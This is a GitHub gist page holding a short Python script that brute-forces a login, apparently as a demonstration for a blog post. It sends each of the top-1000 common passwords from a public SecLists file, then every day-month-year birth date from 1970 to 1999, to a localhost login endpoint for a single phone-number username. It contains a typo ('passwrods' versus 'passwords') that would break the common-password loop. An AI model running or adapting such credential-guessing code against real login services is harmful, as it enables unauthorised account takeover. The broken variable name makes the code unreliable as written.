Skip to content

Instantly share code, notes, and snippets.

@camelcaseblog
Forked from weinbergdavid/birth_date_brute_force.py
Last active January 29, 2019 07:32
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save camelcaseblog/cf144a9399d02f4501cabd02e3f25f5c to your computer and use it in GitHub Desktop.
Save camelcaseblog/cf144a9399d02f4501cabd02e3f25f5c to your computer and use it in GitHub Desktop.
import itertools
import requests
def check_password(password):
data = {'username': '0501234567', 'password': password}
res = requests.post('http://localhost:8080/login', json=data)
if res.status_code == 200:
return True
return False
def common_passwords():
res = requests.get('https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-1000.txt')
passwrods = [s.strip() for s in res.content.splitlines()]
for password in passwords:
if check_password(password):
return password
return None
def birth_date_brute_force():
for day, month, year in itertools.product(range(1, 32), range(1, 13), range(1970, 2000)):
password = f'{day}{month}{year}'
if check_password(password):
return password
return None
print(common_passwords())
print(birth_date_brute_force())
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment